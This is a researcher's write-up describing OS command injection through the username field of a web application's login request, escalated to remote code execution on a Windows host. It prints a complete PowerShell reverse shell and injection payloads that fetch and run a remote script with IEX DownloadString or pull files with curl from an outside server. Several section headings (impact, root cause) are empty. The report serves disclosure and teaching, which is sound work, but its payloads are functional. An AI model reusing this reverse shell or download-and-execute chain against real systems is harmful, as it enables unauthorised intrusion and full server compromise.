OS COMMAND INJECTION // POWERSHELL // REMOTE CODE EXECUTION
WEB APPLICATION SECURITY

OS Command Injection to Remote Code Execution

WINDOWS COMMAND INJECTION // OOB VALIDATION // POWERSHELL RCE

researcher
Naveen Jagadeesan
published
2024-12-10
platform
Windows / Web Application

Exploiting OS Command Injection for Remote Code Execution.

Target Background

The target was an asset management web application allowing users to create and manage assets through a centralized portal.

Authentication Mechanisms

The application supported multiple authentication methods:

Identifying the Attack Vector

Reconnaissance identified the login form as the primary attack surface.

The username field inside the JSON request object was discovered to be vulnerable to OS Command Injection.

Attack Surface Analysis

The application was hosted on a Windows environment which guided payload selection during exploitation.

The application responses returned boolean values:

Due to limited response visibility, out-of-band techniques were used to validate exploitation.

Request


POST /username_exists HTTP/1.1
Host: target.com
Cookie: session cookie: hello
User-Agent: Mozilla/5.0
Content-Type: application/json

{
    "username": "whoami"
}

Response


HTTP/1.1 200 OK
Server: nginx/1.22.1
Content-Type: text/html; charset=utf-8

{
    "success": false
}

Out-of-Band Validation

Several OOB payloads were used during testing:

Timing differences and outbound requests confirmed successful command execution.

Example Payloads


|ping -c 5 127.0.0.1||

|curl https://thevillagehacker.com/exploit/file.txt||

The curl payload successfully downloaded a remote file from an attacker-controlled server, validating the injection vector.

Exploitation

Since the target operated in a Windows environment, a PowerShell reverse shell payload was selected.

This enabled a reverse TCP connection back to the attacker system.

PowerShell Reverse Shell


$client = New-Object System.Net.Sockets.TCPClient(
'10.10.10.10',80);

$stream = $client.GetStream();

[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read(
$bytes, 0, $bytes.Length)) -ne 0){

    $data = (
    New-Object -TypeName
    System.Text.ASCIIEncoding
    ).GetString($bytes,0,$i);

    $sendback = (
    iex ". { $data } 2>&1"
    | Out-String );

    $sendback2 =
    $sendback + 'PS ' +
    (pwd).Path + '> ';

    $sendbyte =
    ([text.encoding]::ASCII)
    .GetBytes($sendback2);

    $stream.Write(
    $sendbyte,
    0,
    $sendbyte.Length
    );

    $stream.Flush()
};

$client.Close()

Final Exploitation Payload


|powershell -c
"IEX(New-Object System.Net.WebClient)
.DownloadString(
'https://thevillagehacker.com/mypowershell.ps1'
)"||

Injecting the above payload established a reverse shell connection to the target server.

The application executed with administrative privileges, resulting in full system compromise.

Impact

Root Cause

Conclusion

The exploitation of an OS Command Injection vulnerability inside the authentication workflow resulted in full remote code execution against the target infrastructure.

This case highlights the importance of:

Reference

Thank you for reading.